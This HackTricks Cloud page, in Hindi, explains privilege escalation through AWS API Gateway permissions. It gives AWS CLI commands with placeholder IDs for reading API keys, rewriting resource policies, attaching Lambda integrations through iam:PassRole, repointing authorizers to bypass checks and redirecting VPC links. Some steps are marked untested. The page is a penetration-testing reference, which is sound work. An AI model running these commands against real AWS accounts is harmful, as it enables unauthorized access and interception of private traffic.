AWS - Apigateway Privesc
Reading time: 5 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
Apigateway
अधिक जानकारी के लिए देखें:
apigateway:POST
इस अनुमति के साथ आप कॉन्फ़िगर की गई APIs के API कुंजी उत्पन्न कर सकते हैं (प्रति क्षेत्र)।
aws --region <region> apigateway create-api-key
संभावित प्रभाव: आप इस तकनीक से प्रिवेस्क नहीं कर सकते लेकिन आपको संवेदनशील जानकारी तक पहुंच मिल सकती है।
apigateway:GET
इस अनुमति के साथ आप कॉन्फ़िगर की गई APIs के उत्पन्न API कुंजी प्राप्त कर सकते हैं (प्रति क्षेत्र)।
aws --region <region> apigateway get-api-keys
aws --region <region> apigateway get-api-key --api-key <key> --include-value
संभावित प्रभाव: आप इस तकनीक से प्रिविलेज़ एस्केलेशन नहीं कर सकते लेकिन आपको संवेदनशील जानकारी तक पहुँच मिल सकती है।
apigateway:UpdateRestApiPolicy
, apigateway:PATCH
इन अनुमतियों के साथ, एक API की संसाधन नीति को संशोधित करना संभव है ताकि आप इसे कॉल करने और API गेटवे के संभावित पहुँच का दुरुपयोग करने के लिए खुद को पहुँच दे सकें (जैसे कि एक कमजोर लैम्ब्डा को सक्रिय करना)।
aws apigateway update-rest-api \
--rest-api-id api-id \
--patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"'
संभावित प्रभाव: आप आमतौर पर इस तकनीक के साथ सीधे प्रिवेस्क नहीं कर पाएंगे, लेकिन आपको संवेदनशील जानकारी तक पहुंच मिल सकती है।
apigateway:PutIntegration
, apigateway:CreateDeployment
, iam:PassRole
note
परीक्षण की आवश्यकता है
एक हमलावर जिसके पास apigateway:PutIntegration
, apigateway:CreateDeployment
, और iam:PassRole
की अनुमति है, एक मौजूदा API Gateway REST API में एक नया इंटीग्रेशन जोड़ सकता है जिसमें एक IAM भूमिका संलग्न Lambda फ़ंक्शन है। हमलावर फिर Lambda फ़ंक्शन को मनमाने कोड को निष्पादित करने के लिए ट्रिगर कर सकता है और संभावित रूप से IAM भूमिका से संबंधित संसाधनों तक पहुंच प्राप्त कर सकता है।
API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"
LAMBDA_ROLE_ARN="arn:aws:iam::account-id:role/lambda-role"
# Add a new integration to the API Gateway REST API
aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --type AWS_PROXY --integration-http-method POST --uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations --credentials $LAMBDA_ROLE_ARN
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
संभावित प्रभाव: Lambda फ़ंक्शन के IAM भूमिका से जुड़े संसाधनों तक पहुँच।
apigateway:UpdateAuthorizer
, apigateway:CreateDeployment
note
परीक्षण की आवश्यकता है
एक हमलावर जिसके पास apigateway:UpdateAuthorizer
और apigateway:CreateDeployment
की अनुमति है, वह एक मौजूदा API गेटवे ऑथराइज़र को संशोधित कर सकता है ताकि सुरक्षा जांचों को बायपास किया जा सके या API अनुरोध किए जाने पर मनमाने कोड को निष्पादित किया जा सके।
API_ID="your-api-id"
AUTHORIZER_ID="your-authorizer-id"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"
# Update the API Gateway authorizer
aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZER_ID --authorizer-uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
संभावित प्रभाव: सुरक्षा जांचों को बायपास करना, API संसाधनों तक अनधिकृत पहुंच।
apigateway:UpdateVpcLink
note
परीक्षण की आवश्यकता है
apigateway:UpdateVpcLink
अनुमति वाला एक हमलावर एक मौजूदा VPC लिंक को एक अलग नेटवर्क लोड बैलेंसर की ओर मोड़ सकता है, संभावित रूप से निजी API ट्रैफ़िक को अनधिकृत या दुर्भावनापूर्ण संसाधनों की ओर पुनर्निर्देशित कर सकता है।
bashCopy codeVPC_LINK_ID="your-vpc-link-id"
NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"
# Update the VPC Link
aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]"
संभावित प्रभाव: निजी API संसाधनों तक अनधिकृत पहुंच, API ट्रैफ़िक का अवरोध या बाधा।
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।